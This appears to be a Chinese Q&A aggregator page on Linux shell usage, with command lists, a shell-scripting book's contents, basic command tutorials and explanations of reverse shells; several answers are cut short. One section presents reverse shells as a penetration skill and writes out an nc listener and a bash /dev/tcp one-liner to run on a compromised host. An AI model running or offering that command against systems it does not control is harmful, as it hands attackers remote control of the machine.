文件管理命令
cat chattr chgrp chmod chown cksum cmp
diff diffstat file find git gitview indent
cut ln less locate isattr mattrib mc
mdel mdir mktemp more mmove mread mren
mtools mtoolstest mv od paste patch rcp
rm slocate split tee tmpwatch touch umask
which cp in m mshowfat rhmask whereis
目录磁盘管理命令
cd df dirs edquota eject
mcd mdeltree m mkdir mlabel mmd
mrd mzip pwd quota mount mmount
rmdir rmt stat tree umount ls
quotacheck quotaoff lndir repquota quotaon
文档编辑命令
col colrm comm csplit ed egrep ex fgrep
fmt fold grep ispell jed joe join look
mtype pico rgrep sed sort spell tr expr
uniq wc
文件传输打印命令
lprm lpr lpq lpd bye ftp
uuto uupick uucp uucico tftp ncftp
ftpshut ftpwho ftpcount
磁盘维护命令
badblocks cfdisk dd e2fsck ext2ed
fsck fsck fsconf fdformat hdparm
mformat mkbootdisk mkdosfs mke2fs mkfs.ext2
mkfs.msdos mkinitrd mkisofts mkswap mpartition
swapon symlinks sync mbadblocks mkfs
fsck.ext2 fdisk losetup mkfs sfdisk
swapoff
网络通信命令
apachectl arpwatch dip getty mingetty uux
telnet uulog uustat ppp-off netconfig nc
httpd ifconfig minicom mesg dnsconf wall
netstat ping pppstats samba setserial talk
traceroute tty newaliases uuname netconf write
statserial efax pppsetup tcpmp ytalk cu
smbd testparm smbd smbclient shapecfg
系统管理命令
adser chfn useradd date exit finger
fwhois sleep suspend groupdel groupmod halt
kill last lastb login logname logout
ps nice procinfo top pstree reboot
rlogin rsh sliplogin screen shutdown rwho
sudo gitps swatch tload logrotate kill
uname chsh userconf userdel usermod vlock
who whoami whois newgrp renice su
skill w id free
系统设置命令
reset clear alias dircolors aumix bind
chroot clock crontab declare depmod dmesg
enable eval export pwunconv grpconv rpm
insmod kbdconfig lilo liloconfig lsmod minfo
set modprobe ntsysv moouseconfig passwd pwconv
rdate resize rmmod grpunconv modinfo time
setup sndconfig setenv setconsole timeconfig ulimit
unset chkconfig apmd hwclock mkkickstart fbset
unalias SVGAText Mode
备份压缩命令
ar bunzip2 bzip2 bzip2recover gunzip unarj
compress cpio mp uuencode gzexe gzip
lha restore tar uudecode unzip zip
zipinfo
设备管理命令
setleds loadkeys rdev mpkeys MAKEDEV
㈡ 怎么在linux下创建一个可运行脚本
步骤:
1.新建一个.sh文件,touch test.sh
(2)linuxncshell扩展阅读:
Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的UNIX工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。
Linux操作系统诞生于1991 年10 月5 日(这是第一次正式向外公布时间)。Linux存在着许多不同的Linux版本,但它们都使用了Linux内核。Linux可安装在各种计算机硬件设备中,比如手机、平板电脑、路由器、视频游戏控制台、台式计算机、大型机和超级计算机。
严格来讲,Linux这个词本身只表示Linux内核,但实际上人们已经习惯了用Linux来形容整个基于Linux内核,并且使用GNU工程各种工具和数据库的操作系统。
脚本(Script)是使用一种特定的描述性语言,依据一定的格式编写的可执行文件,又称作宏或批处理文件。
Linux系统的shell作为操作系统的外壳,为用户提供使用操作系统的接口。它是命令语言、命令解释程序及程序设计语言的统称。
shell是用户和Linux内核之间的接口程序,如果把Linux内核想象成一个球体的中心,shell就是围绕内核的外层。当从shell或其他程序向Linux传递命令时,内核会做出相应的反应。
shell是一个命令语言解释器,它拥有自己内建的shell命令集,shell也能被系统中其他应用程序所调用。用户在提示符下输入的命令都由shell先解释然后传给Linux核心。
㈢ Linux系统中如何用shell脚步判断是否telnet成功。
1、连接上相应的linux主机,进入到等待输入shell指令的linux命令行状态下。
㈣ Linux Shell脚本攻略的目录
第1章 小试牛刀
1.1 简介
1.2 终端打印
1.2.1 实战演练
1.2.2 补充内容
1.3 玩转变量和环境变量
1.3.1 预备知识
1.3.2 实战演练
1.3.3 补充内容
1.4 通过shell进行数学运算
1.4.1 预备知识
1.4.2 实战演练
1.5 玩转文件描述符和重定向
1.5.1 预备知识
1.5.2 实战演练
1.5.3 补充内容
1.6 数组和关联数组
1.6.1 预备知识
1.6.2 实战演练
1.6.3 补充内容
1.7 使用别名
1.7.1 预备知识
1.7.2 实战演练
1.7.3 补充内容
1.8 获取终端信息
1.8.1 预备知识
1.8.2 实战演练
1.9 获取、设置日期和延时
1.9.1 预备知识
1.9.2 实战演练
1.9.3 补充内容
1.10 调试脚本
1.10.1 预备知识
1.10.2 实战演练
1.10.3 补充内容
1.11 函数和参数
1.11.1 实战演练
1.11.2 补充内容
1.12 读取命令序列输出
1.12.1 预备知识
1.12.2 实战演练
1.12.3 补充内容
1.13 以不按回车键的方式读取字符“n”
1.13.1 预备知识
1.13.2 实战演练
1.14 字段分隔符和迭代器
1.14.1 预备知识
1.14.2 实战演练
1.15 比较与测试
1.15.1 预备知识
1.15.2 实战演练
第2章 命令之乐
2.1 简介
2.2 用cat进行拼接
2.2.1 预备知识
2.2.2 实战演练
2.2.3 工作原理
2.2.4 补充内容
2.3 录制与回放终端会话
2.3.1 预备知识
2.3.2 实战演练
2.3.3 工作原理
2.4 文件查找与文件列表
2.4.1 预备知识
2.4.2 实战演练
2.4.3 补充内容
2.5 玩转xargs
2.5.1 预备知识
2.5.2 实战演练
2.5.3 工作原理
2.5.4 补充内容
2.6 用tr进行转换
2.6.1 预备知识
2.6.2 实战演练
2.6.3 工作原理
2.6.4 补充内容
2.7 校验和与核实
2.7.1 预备知识
2.7.2 实战演练
2.7.3 工作原理
2.7.4 补充内容
2.8 排序、单一与重复
2.8.1 预备知识
2.8.2 实战演练
2.8.3 工作原理
2.8.4 补充内容
2.9 临时文件命名与随机数
2.9.1 实战演练
2.9.2 工作原理
2.10 分割文件和数据
2.10.1 工作原理
2.10.2 补充内容
2.11 根据扩展名切分文件名
2.11.1 实战演练
2.11.2 工作原理
2.12 批量重命名和移动
2.12.1 预备知识
2.12.2 实战演练
2.12.3 工作原理
2.13 拼写检查与词典操作
2.13.1 实战演练
2.13.2 工作原理
2.14 交互输入自动化
2.14.1 预备知识
2.14.2 实战演练
2.14.3 工作原理
2.14.4 补充内容
第3章 以文件之名
3.1 简介
3.2 生成任意大小的文件
3.3 文本文件的交集与差集
3.3.1 预备知识
3.3.2 实战演练
3.4 查找并删除重复文件
3.4.1 预备知识
3.4.2 实战演练
3.4.3 工作原理
3.4.4 参考
3.5 创建长路径目录
3.5.1 预备知识
3.5.2 实战演练
3.6 文件权限、所有权和粘滞位
3.6.1 预备知识
3.6.2 实战演练
3.6.3 补充内容
3.7 创建不可修改文件
3.7.1 预备知识
3.7.2 实战演练
3.8 批量生成空白文件
3.8.1 预备知识
3.8.2 实战演练
3.9 查找符号链接及其指向目标
3.9.1 预备知识
3.9.2 实战演练
3.10 列举文件类型统计信息
3.10.1 预备知识
3.10.2 实战演练
3.10.3 工作原理
3.11 环回文件与挂载
3.11.1 预备知识
3.11.2 实战演练
3.11.3 补充内容
3.12 生成ISO文件及混合ISO
3.12.1 预备知识
3.12.2 实战演练
3.12.3 补充内容
3.13 查找文件差异并进行修补
3.13.1 实战演练
3.13.2 补充内容
3.14 head与tail——打印文件的前10行和后10行
3.15 只列出目录的其他方法
3.15.1 预备知识
3.15.2 实战演练
3.16 在命令行中用pushd和popd快速定位
3.16.1 预备知识
3.16.2 实战演练
3.16.3 补充内容
3.17 统计文件的行数、单词数和字符数
3.17.1 预备知识
3.17.2 实战演练
3.17.3 补充知识
3.18 打印目录树
3.18.1 预备知识
3.18.2 实战演练
3.18.3 补充内容
第4章 让文本飞
4.1 简介
4.2 正则表达式入门
4.2.1 预备知识
4.2.2 实战演练
4.2.3 工作原理
4.2.4 补充内容
4.3 用grep在文件中搜索文本
4.3.1 预备知识
4.3.2 实战演练
4.3.3 补充内容
4.4 用cut按列切分文件
4.4.1 预备知识
4.4.2 实战演练
4.4.3 补充内容
4.5 统计特定文件中的词频
4.5.1 预备知识
4.5.2 实战演练
4.5.3 工作原理
4.5.4 参考
4.6 sed入门
4.6.1 实战演练
4.6.2 补充内容
4.7 awk入门
4.7.1 实战演练
4.7.2 工作原理
4.7.3 补充内容
4.8 替换文本或文件中的字符串
4.8.1 预备知识
4.8.2 实战演练
4.8.3 补充内容
4.8.4 参考
4.9 压缩或解压缩JavaScript
4.9.1 预备知识
4.9.2 工作原理
4.9.3 工作原理
4.9.4 参考
4.10 对文件中的行、单词和字符进行迭代
4.10.1 预备知识
4.10.2 实战演练
4.10.3 工作原理
4.10.4 参考
4.11 按列合并文件
4.11.1 工作原理
4.11.2 参考
4.12 打印文件或行中的第n个单词或列
4.12.1 预备知识
4.12.2 实战演练
4.12.3 参考
4.13 打印不同行或样式之间的文本
4.13.1 预备知识
4.13.2 实战演练
4.13.3 参考
4.14 用脚本检验回文字符串
4.14.1 预备知识
4.14.2 工作原理
4.14.3 工作原理
4.14.4 补充内容
4.14.5 参考
4.15 以逆序形式打印行
4.15.1 预备知识
4.15.2 实战演练
4.15.3 工作原理
4.15.4 参考
4.16 解析文本中的电子邮件地址和URL
4.16.1 预备知识
4.16.2 实战演练
4.16.3 工作原理
4.16.4 参考
4.17 打印文件中某个样式之前或之后的n行
4.17.1 预备知识
4.17.2 实战演练
4.17.3 参考
4.18 在文件中移除包含某个单词的句子
4.18.1 预备知识
4.18.2 实战演练
4.18.3 工作原理
4.18.4 参考
4.19 用awk实现head、tail和tac
4.19.1 预备知识
4.19.2 实战演练
4.19.3 工作原理
4.19.4 参考
4.20 文本切片与参数操作
4.20.1 实战演练
4.20.2 参考
第5章 一团乱麻?没这回事
5.1 入门
5.2 网站下载
5.2.1 预备知识
5.2.2 实战演练
5.2.3 补充内容
5.3 以格式化纯文本形式下载网页
5.4 cURL入门
5.4.1 预备知识
5.4.2 实战演练
5.4.3 补充内容
5.4.4 参考
5.5 从命令行访问Gmail
5.5.1 实战演练
5.5.2 工作原理
5.5.3 参考
5.6 解析网站数据
5.6.1 实战演练
5.6.2 工作原理
5.6.3 参考
5.7 制作图片抓取器及下载工具
5.7.1 实战演练
5.7.2 工作原理
5.7.3 参考
5.8 网页相册生成器
5.8.1 预备知识
5.8.2 实战演练
5.8.3 工作原理
5.8.4 参考
5.9 Twitter命令行客户端
5.9.1 预备知识
5.9.2 实战演练
5.9.3 工作原理
5.9.4 参考
5.10 基于Web后端的定义查询工具
5.10.1 预备知识
5.10.2 实战演练
5.10.3 工作原理
5.10.4 参考
5.11 查找网站中的无效链接
5.11.1 预备知识
5.11.2 实战演练
5.11.3 工作原理
5.11.4 参考
5.12 跟踪网站变更
5.12.1 预备知识
5.12.2 实战演练
5.12.3 工作原理
5.12.4 参考
5.13 以POST方式发送网页并读取响应
5.13.1 预备知识
5.13.2 实战演练
5.13.3 补充内容
5.13.4 参考
第6章 B计划
6.1 简介
6.2 用tar归档
6.2.1 预备知识
6.2.2 实战演练
6.2.3 补充知识
6.2.4 参考
6.3 用cpio归档
6.4 用gunzip或gzip压缩
6.4.1 实战演练
6.4.2 补充内容
6.4.3 参考
6.5 用bunzip或bzip压缩
6.5.1 实战演练
6.5.2 补充内容
6.5.3 参考
6.6 用lzma压缩
6.6.1 实战演练
6.6.2 补充内容
6.6.3 参考
6.7 用zip归档和压缩
6.8 超高压缩率的squashfs文件系统
6.8.1 预备知识
6.8.2 实战演练
6.8.3 补充内容
6.9 加密工具与散列
6.10 用raync备份系统快照
6.10.1 实战演练
6.10.2 补充内容
6.11 用Git备份版本控制
6.11.1 预备知识
6.11.2 实战演练
6.12 用dd克隆磁盘
6.12.1 预备知识
6.12.2 实战演练
6.12.3 补充内容
6.12.4 参考
第7章 无网不利
7.1 简介
7.2 联网知识入门
7.2.1 新手上路
7.2.2 实战演练
7.2.3 补充内容
7.2.4 参考
7.3 使用ping
7.3.1 实战演练
7.3.2 补充内容
7.4 列出网络上所有的活动主机
7.4.1 新手上路
7.4.2 实战演练
7.4.3 工作原理
7.4.4 补充内容
7.4.5 参考
7.5 传输文件
7.5.1 新手上路
7.5.2 实战演练
7.5.3 补充内容
7.5.4 参考
7.6 用脚本设置以太网与无线LAN
7.6.1 新手上路
7.6.2 实战演练
7.6.3 工作原理
7.6.4 参考
7.7 用SSH实现无密码自动登录
7.8 用SSH在远程主机上运行命令
7.8.1 新手上路
7.8.2 实战演练
7.8.3 补充内容
7.8.4 参考
7.9 在本地挂载点上挂载远程驱动器
7.9.1 新手上路
7.9.2 实战演练
7.9.3 参考
7.10 在网络上发送多播式窗口消息
7.10.1 新手上路
7.10.2 实战演练
7.10.3 工作原理
7.10.4 参考
7.11 网络流量与端口分析
7.11.1 新手上路
7.11.2 实战演练
7.11.3 补充内容
第8章 当个好管家
8.1 简介
8.2 统计磁盘的使用情况
8.2.1 新手上路
8.2.2 实战演练
8.2.3 补充内容
8.3 计算命令执行时间
8.4 与当前登录用户、启动日志及启动故障的相关信息
8.4.1 新手上路
8.4.2 实战演练
8.5 打印出10条最常使用的命令
8.5.1 新手上路
8.5.2 实战演练
8.5.3 工作原理
8.6 列出1小时内占用CPU最多的10个进程
8.6.1 新手上路
8.6.2 实战演练
8.6.3 工作原理
8.6.4 参考
8.7 用watch监视命令输出
8.7.1 实战演练
8.7.2 补充内容
8.8 对文件及目录访问进行记录
8.8.1 新手上路
8.8.2 实战演练
8.8.3 工作原理
8.9 用logrotate管理日志文件
8.9.1 新手上路
8.9.2 实战演练
8.10 用syslog记录日志
8.10.1 新手上路
8.10.2 实战演练
8.10.3 参考
8.11 通过监视用户登录找出入侵者
8.11.1 新手上路
8.11.2 实战演练
8.11.3 工作原理
8.12 监视远程磁盘的健康情况
8.12.1 新手上路
8.12.2 实战演练
8.12.3 工作原理
8.12.4 参考
8.13 找出系统中用户的活动时段
8.13.1 新手上路
8.13.2 实战演练
8.13.3 工作原理
第9章 管理重任
9.1 简介
9.2 收集进程信息
9.2.1 新手上路
9.2.2 实战演练
9.2.3 补充内容
9.2.4 参考
9.3 杀死进程以及发送或响应信号
9.3.1 新手上路
9.3.2 实战演练
9.3.3 补充内容
9.4 which、whereis、file、whatis与平均负载
9.5 向用户终端发送消息
9.5.1 新手上路
9.5.2 实战演练
9.5.3 工作原理
9.6 收集系统信息
9.7 用/proc收集信息
9.8 用cron进行调度
9.8.1 新手上路
9.8.2 实战演练
9.8.3 补充内容
9.9 从Bash中读写MySQL数据库
9.9.1 新手上路
9.9.2 实战演练
9.9.3 工作原理
9.10 用户管理脚本
9.10.1 实战演练
9.10.2 工作原理
9.11 图像文件的批量缩放及格式转换
9.11.1 新手上路
9.11.2 实战演练
9.11.3 工作原理
9.11.4 参考
㈤ linux反弹shell 什么意思
简单来说,Shell就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的ssh就是执行的Shell命令实现对远程对服务器的控制。
那反弹Shell是啥呢?其英文名叫做Reverse
Shell,具体干什么的呢?就是控制端首先监听某个TCP/UDP端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。
比如说,我们有两台主机A、B,我们最终想实现在A上控制B。那么如果用正向Shell,其实就是在A上输入B的连接地址,比如通过ssh连接到
B,连接成功之后,我们就可以在A上通过命令控制B了。
如果用反向Shell,那就是在A上先开启一个监听端口,然后让B去连接A的这个端口,连接成功之后,A这边就能通过命令控制B了。
反弹shell有什么用?
还是原来的例子,我们想用A来控制B,如果想用ssh等命令来控制,那得输入B的sshd地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT等原因,我们实际上是无法直接连接到B的,比如:
A虽然有公网IP,但B是一个处于内网的机器,A就没法直接连到B上。
B上开了防火墙或者安全组限制,sshd的服务端口22被封闭了。
B是一台拨号主机,其IP地址经常变动。
假如B被攻击了,我们想让B向A汇报自己的状况,那自然就需要B主动去连接A。
如果是这些情况,我们就可以用反弹Shell用A来控制B了。
㈥ 基本linux命令
基本linux命令有哪些呢?
1、ls命令
就是 list 的缩写,通过 ls 命令不仅可以查看 linux 文件夹包含的文件,而且可以查看文件权限(包括目录、文件夹、文件权限)查看目录信息等等。
常用参数搭配:
ls -a 列出目录所有文件,包含以.开始的隐藏文件
ls -A 列出除.及..的其它文件
ls -r 反序排列
ls -t 以文件修改时间排序
ls -S 以文件大小排序
ls -h 以易读大小显示
ls -l 除了文件名之外,还将文件的权限、所有者、文件大小等信息详细列出来
实例:
(1) 按易读方式按时间反序排序,并显示文件详细信息
ls -lhrt
(2) 按大小反序显示文件详细信息
ls -lrS
(3)列出当前目录中所有以"t"开头的目录的详细内容
ls -l t*
(4) 列出文件绝对路径(不包含隐藏文件)
ls | sed "s:^:`pwd`/:"
(5) 列出文件绝对路径(包含隐藏文件)
find $pwd -maxdepth 1 | xargs ls -ld
2、cd 命令
cd(changeDirectory) 命令语法:
cd [目录名]
说明:切换当前目录至 dirName。
实例:
(1)进入要目录
cd /
(2)进入 "home" 目录
cd ~
(3)进入上一次工作路径
cd -
(4)把上个命令的参数作为cd参数使用。
cd !$
3、pwd 命令
pwd 命令用于查看当前工作目录路径。
实例:
(1)查看当前路径
pwd
(2)查看软链接的实际路径
pwd -P
4、mkdir 命令
mkdir 命令用于创建文件夹。
可用选项:
-m: 对新建目录设置存取权限,也可以用 chmod 命令设置;
-p: 可以是一个路径名称。此时若路径中的某些目录尚不存在,加上此选项后,系统将自动建立好那些尚不在的目录,即一次可以建立多个目录。
实例:
(1)当前工作目录下创建名为 t的文件夹
mkdir t
(2)在 tmp 目录下创建路径为 test/t1/t 的目录,若不存在,则创建:
mkdir -p /tmp/test/t1/t
5、rm 命令
删除一个目录中的一个或多个文件或目录,如果没有使用 -r 选项,则 rm 不会删除目录。如果使用 rm 来删除文件,通常仍可以将该文件恢复原状。
rm [选项] 文件…
实例:
(1)删除任何 .log 文件,删除前逐一询问确认:
rm -i *.log
(2)删除 test 子目录及子目录中所有档案删除,并且不用一一确认:
rm -rf test
(3)删除以 -f 开头的文件
rm -- -f*
6、rmdir 命令
从一个目录中删除一个或多个子目录项,删除某目录时也必须具有对其父目录的写权限。
注意:不能删除非空目录
实例:
(1)当 parent 子目录被删除后使它也成为空目录的话,则顺便一并删除:
rmdir -p parent/child/child11
7、mv 命令
移动文件或修改文件名,根据第二参数类型(如目录,则移动文件;如为文件则重命令该文件)。
当第二个参数为目录时,第一个参数可以是多个以空格分隔的文件或目录,然后移动第一个参数指定的多个文件到第二个参数指定的目录中。
实例:
(1)将文件 test.log 重命名为 test1.txt
mv test.log test1.txt
(2)将文件 log1.txt,log2.txt,log3.txt 移动到根的 test3 目录中
mv llog1.txt log2.txt log3.txt /test3
(3)将文件 file1 改名为 file2,如果 file2 已经存在,则询问是否覆盖
mv -i log1.txt log2.txt
(4)移动当前文件夹下的所有文件到上一级目录
mv * ../
8、cp 命令
将源文件复制至目标文件,或将多个源文件复制至目标目录。
注意:命令行复制,如果目标文件已经存在会提示是否覆盖,而在 shell 脚本中,如果不加 -i 参数,则不会提示,而是直接覆盖!
-i 提示
-r 复制目录及目录内所有项目
-a 复制的文件与原文件时间一样
实例:
(1)复制 a.txt 到 test 目录下,保持原文件时间,如果原文件存在提示是否覆盖。
cp -ai a.txt test
(2)为 a.txt 建议一个链接(快捷方式)
cp -s a.txt link_a.txt
9、cat 命令
cat 主要有三大功能:
1.一次显示整个文件:
cat filename
2.从键盘创建一个文件:
cat > filename
只能创建新文件,不能编辑已有文件。
3.将几个文件合并为一个文件:
cat file1 file2 > file
-b 对非空输出行号
-n 输出所有行号
实例:
(1)把 log2012.log 的文件内容加上行号后输入 log2013.log 这个文件里
cat -n log2012.log log2013.log
(2)把 log2012.log 和 log2013.log 的文件内容加上行号(空白行不加)之后将内容附加到 log.log 里
cat -b log2012.log log2013.log log.log
(3)使用 here doc 生成新文件
cat >log.txt <<EOF
>Hello
>World
>PWD=$(pwd)
>EOF
ls -l log.txt
cat log.txt
Hello
World
PWD=/opt/soft/test
(4)反向列示
tac log.txt
PWD=/opt/soft/test
World
Hello
10、more 命令
功能类似于 cat, more 会以一页一页的显示方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示。
命令参数:
+n 从笫 n 行开始显示
-n 定义屏幕大小为n行
+/pattern 在每个档案显示前搜寻该字串(pattern),然后从该字串前两行之后开始显示
-c 从顶部清屏,然后显示
-d 提示“Press space to continue,’q’ to quit(按空格键继续,按q键退出)”,禁用响铃功能
-l 忽略Ctrl+l(换页)字符
-p 通过清除窗口而不是滚屏来对文件进行换页,与-c选项相似
-s 把连续的多个空行显示为一行
-u 把文件内容中的下画线去掉
常用操作命令:
Enter 向下 n 行,需要定义。默认为 1 行
Ctrl+F 向下滚动一屏
空格键 向下滚动一屏
Ctrl+B 返回上一屏
= 输出当前行的行号
:f 输出文件名和当前行的行号
V 调用vi编辑器
!命令 调用Shell,并执行命令
q 退出more
实例:
(1)显示文件中从第3行起的内容
more +3 text.txt
(2)在所列出文件目录详细信息,借助管道使每次显示 5 行
ls -l | more -5
按空格显示下 5 行。
11、less 命令
less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。
常用命令参数:
-i 忽略搜索时的大小写
-N 显示每行的行号
-o <文件名> 将less 输出的内容在指定文件中保存起来
-s 显示连续空行为一行
/字符串:向下搜索“字符串”的功能
?字符串:向上搜索“字符串”的功能
n:重复前一个搜索(与 / 或 ? 有关)
N:反向重复前一个搜索(与 / 或 ? 有关)
-x <数字> 将“tab”键显示为规定的数字空格
b 向后翻一页
d 向后翻半页
h 显示帮助界面
Q 退出less 命令
u 向前滚动半页
y 向前滚动一行
空格键 滚动一行
回车键 滚动一页
[pagedown]: 向下翻动一页
[pageup]: 向上翻动一页
实例:
(1)ps 查看进程信息并通过 less 分页显示
ps -aux | less -N
(2)查看多个文件
less 1.log 2.log
可以使用 n 查看下一个,使用 p 查看前一个。
12、head 命令
head 用来显示档案的开头至标准输出中,默认 head 命令打印其相应文件的开头 10 行。
常用参数:
-n<行数> 显示的行数(行数为复数表示从最后向前数)
实例:
(1)显示 1.log 文件中前 20 行
head 1.log -n 20
(2)显示 1.log 文件前 20 字节
head -c 20 log2014.log
(3)显示 t.log最后 10 行
head -n -10 t.log
13、tail 命令
用于显示指定文件末尾内容,不指定文件时,作为输入信息进行处理。常用查看日志文件。
常用参数:
-f 循环读取(常用于查看递增的日志文件)
-n<行数> 显示行数(从后向前)
(1)循环读取逐渐增加的文件内容
ping 127.0.0.1 > ping.log &
后台运行:可使用 jobs -l 查看,也可使用 fg 将其移到前台运行。
tail -f ping.log
(查看日志)
14、which 命令
在 linux 要查找某个文件,但不知道放在哪里了,可以使用下面的一些命令来搜索:
which 查看可执行文件的位置。
whereis 查看文件的位置。
locate 配合数据库查看文件位置。
find 实际搜寻硬盘查询文件名称。
which 是在 PATH 就是指定的路径中,搜索某个系统命令的位置,并返回第一个搜索结果。使用 which 命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。
常用参数:
-n 指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名。
实例:
(1)查看 ls 命令是否存在,执行哪个
which ls
(2)查看 which
which which
(3)查看 cd
which cd(显示不存在,因为 cd 是内建命令,而 which 查找显示是 PATH 中的命令)
查看当前 PATH 配置:
echo $PATH
或使用 env 查看所有环境变量及对应值
15、whereis 命令
whereis 命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。whereis 及 locate 都是基于系统内建的数据库进行搜索,因此效率很高,而find则是遍历硬盘查找文件。
常用参数:
-b 定位可执行文件。
-m 定位帮助文件。
-s 定位源代码文件。
-u 搜索默认路径下除可执行文件、源代码文件、帮助文件以外的其它文件。
实例:
(1)查找 locate 程序相关文件
whereis locate
(2)查找 locate 的源码文件
whereis -s locate
(3)查找 lcoate 的帮助文件
whereis -m locate
㈦ Linux如何使用命令生成反弹SHELL
【Reverse shell】也叫反弹shell,是渗透攻击的基本功,如果你找到机会让远端的机器执行你注入的代码,你的代码怎样才能为你生成一个可以交互操作的shell呢?
你可以在本地先用nc启动一个监听进程【nc -l 端口号】
然后在远端执行【bash -i >& /dev/tcp/你本地的IP/端口号 0>&1】即可。
㈧ 如何在Linux终端里用Shell和C输出带颜色的文字
shell脚本中echo显示内容带颜色显示,echo显示带颜色,需要使用参数-e
格式如下:
echo-e"